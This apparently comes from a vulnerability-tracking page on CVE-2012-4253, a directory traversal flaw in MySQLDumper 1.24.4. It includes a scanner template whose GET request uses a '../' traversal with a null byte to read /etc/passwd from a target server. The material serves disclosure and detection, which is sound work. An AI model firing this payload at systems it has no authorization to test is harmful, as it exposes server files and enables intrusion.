CVE-2012-4253: MySQLDumper 1.24.4 - Directory Traversal

2025-08-01 MySQLDumper PoC Public

Description

Multiple directory traversal vulnerabilities in MySQLDumper 1.24.4 allow remote attackers to read arbitrary files via a .. (dot dot) in the (1) language parameter to learn/cubemail/install.php or (2) f parameter learn/cubemail/filemanagement.php, or execute arbitrary local files via a .. (dot dot) in the (3) config parameter to learn/cubemail/menu.php.

PoC

id: CVE-2012-4253

info:
  name: MySQLDumper 1.24.4 - Directory Traversal
  author: daffainfo
  severity: medium
  description: Multiple directory traversal vulnerabilities in MySQLDumper 1.24.4 allow remote attackers to read arbitrary files via a .. (dot dot) in the (1) language parameter to learn/cubemail/install.php or (2) f parameter learn/cubemail/filemanagement.php, or execute arbitrary local files via a .. (dot dot) in the (3) config parameter to learn/cubemail/menu.php.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to a patched version of MySQLDumper or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/37129
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4253
    - http://packetstormsecurity.org/files/112304/MySQLDumper-1.24.4-LFI-XSS-CSRF-Code-Execution-Traversal.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/75286
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/75283
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4253
    cwe-id: CWE-22
    epss-score: 0.08465
    epss-percentile: 0.94731
    cpe: cpe:2.3:a:mysqldumper:mysqldumper:1.24.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mysqldumper
    product: mysqldumper
  tags: cve2012,cve,packetstorm,lfi,edb,mysqldumper,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/learn/cubemail/filemanagement.php?action=dl&f=../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d977a4a7d5b6e09f4ce297f8079443d28222a246af70fd726c15d7aa4307b1c3022100bc25aa35bfde81c68bae6964a2c1105f2fe4983a0d2ccd0cad909378f6792892:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities